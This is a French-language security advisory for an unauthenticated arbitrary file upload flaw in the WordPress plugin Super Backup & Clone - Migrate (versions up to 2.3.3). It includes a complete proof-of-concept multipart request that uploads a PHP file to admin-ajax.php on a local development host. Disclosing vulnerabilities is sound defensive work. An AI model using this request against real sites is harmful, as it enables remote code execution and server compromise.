
Super Backup & Clone - Migrate pour WordPress <= 2.3.3 - Téléchargement de fichier arbitraire non authentifié
Super Backup & Clone - Migrate pour WordPress <= 2.3.3 - Téléchargement arbitraire de fichiers non authentifié
Le plugin Super Backup & Clone - Migrate for WordPress pour WordPress est vulnérable au téléchargement arbitraire de fichiers en raison de l'absence de validation du type de fichier et d'une vérification de capacité manquante dans la fonction ibk_restore_migrate_check() dans toutes les versions jusqu'à la version 2.3.3 incluse. Cela permet à des attaquants non authentifiés de télécharger des fichiers arbitraires sur le serveur du site affecté, ce qui peut permettre l'exécution de code à distance.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------12986918151631900204175958232
Content-Length: 793
Origin: https://wp-dev.ddev.site
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_type"
restore_file
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_url"
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/zip
<?php phpinfo(); ?>
-----------------------------12986918151631900204175958232--
Les téléchargements sont effectués vers https://wp-dev.ddev.site/wp-content/uploads/isnapshots/info.php